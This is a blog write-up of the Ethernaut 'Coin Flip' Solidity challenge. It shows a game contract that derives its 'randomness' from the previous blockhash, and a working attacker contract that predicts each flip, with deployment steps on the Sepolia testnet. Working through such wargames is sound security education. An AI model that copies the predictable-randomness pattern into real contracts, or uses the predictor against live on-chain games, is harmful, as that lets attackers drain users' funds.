Coin Flip - Level 03
Stefan Alfbo
Posted on August 1, 2023
Problem statement
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.
Things that might help
- See the "?" page above in the top right corner menu, section "Beyond the console"
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Solution
Start with creating a new contract for the current level by clicking on the button, Get new instance. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.
Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window.
await contract.address
Open a new tab in your browser (Ctrl+t) and go to Remix.
Create a new file under the contracts folder and name it CoinFlipCheater.sol.
Add the following code to the new file.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface CoinFlip {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipCheater {
address coinFlipAddress;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlipAddress) {
coinFlipAddress = _coinFlipAddress;
}
function flip() external returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool should_guess = coinFlip == 1 ? true : false;
return CoinFlip(coinFlipAddress).flip(should_guess);
}
}
Go to the compiler and compile the new contract, CoinFlipCheater.
Next step is to deploy the contract to the Sepolia network. First make sure the you select the correct environment, Injected Provider - MetaMask
And make sure that the correct contract is selected.
Note that we will need to give the address to our contract (the one we got in the beginning) to the right of the deploy button. Push the Deploy button and sign the transaction with your MetaMask wallet.
There should be a button named flip when the contract has been deployed.
Now we only need to push that button 10 times and sign each transaction with the MetaMask wallet, however we need to have some delay between the pushes, there can only be on flip per block.
We can confirm that we have the value ten in our browser console window with this code.
await contract.consecutiveWins()
When 10, finish up the challenge by clicking on the button, Submit instance, to commit and update the progress on the ethernaut contract.
Explanation
It's difficult to create randomness in a Solidity contract because Ethereum transactions need to be deterministic.
In this contract the block number is the source for creating randomness.
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
So if we only know the block number it would be easy for us to guess the correct value to pass to the flip method.
The solution is to let another contract do the guessing for us and have access to the current block number.
function flip() external returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool should_guess = coinFlip == 1 ? true : false;
return CoinFlip(coinFlipAddress).flip(should_guess);
}
By running the same code as the CoinFlip contract will do we will get the expected value of the guess variable. That value is then used when calling the actual flip method on the CoinFlip contract.
To wrap it up we will only need to call our new contract and its flip method to guess the correct value now.
The feedback from when the challenge is completed is about how to handle random numbers in a better way.
Resources
Posted on August 1, 2023
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.